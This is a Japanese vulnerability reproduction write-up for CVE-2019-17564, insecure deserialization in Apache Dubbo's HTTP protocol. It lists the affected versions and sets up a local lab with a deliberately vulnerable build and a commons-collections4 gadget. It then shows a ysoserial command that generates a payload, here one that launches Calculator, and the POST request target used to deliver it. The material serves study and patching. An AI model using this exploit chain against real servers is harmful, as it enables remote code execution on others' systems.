
CVE-2019-17564:Apache Dubbo デシリアライゼーション脆弱性
Apache Dubboは、高性能で軽量なオープンソースJava RPCフレームワークです。インターフェース指向のリモートメソッド呼び出し、インテリジェントなフォールトトレランスと負荷分散、そしてサービスの自動登録と検出という3つの主要な機能を提供します。
Apache Dubboは複数のプロトコルをサポートしており、公式ではDubboプロトコルを推奨しています。Apache Dubbo HTTPプロトコルにおける逆シリアル化の脆弱性(CVE-2019-17564)です。この脆弱性の主な原因は、Apache DubboがHTTPプロトコルを有効にした後、メッセージボディの処理が適切でないために安全でない逆シリアル化が発生し、プロジェクトのパッケージ内に利用可能なガジェットが存在する場合、リモートコード実行が可能になることです。
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
1、dubboの起動にはzookeeperの依存が必要なため、先にzookeeperをインストールします
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# confディレクトリ内のzoo_sample.cfgをzoo.cfgに名前変更します
mv zoo_sample.cfg zoo.cfg
# binディレクトリに移動し、zookeeperを起動します
./zkServer.sh start

2、GitHubからdubboのプロジェクトを取得し、pom.xmlを編集します
git clone https://github.com/apache/dubbo-samples
# dubbo-samples-httpディレクトリに移動し、pom.xmlを編集します
vim pom.xml
dubboのバージョンを脆弱性のあるバージョンに変更します
依存関係を追加し、トリガー可能なガジェットをインポートします。ここではcommons-collections4-4.0をインポートします
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

3、mvnでビルドし、dubboを起動します
mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
ここではysoserialを使用してペイロードを生成します
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
bpでパケットを送信

https://www.mail-archive.com/[email protected]/msg06225.html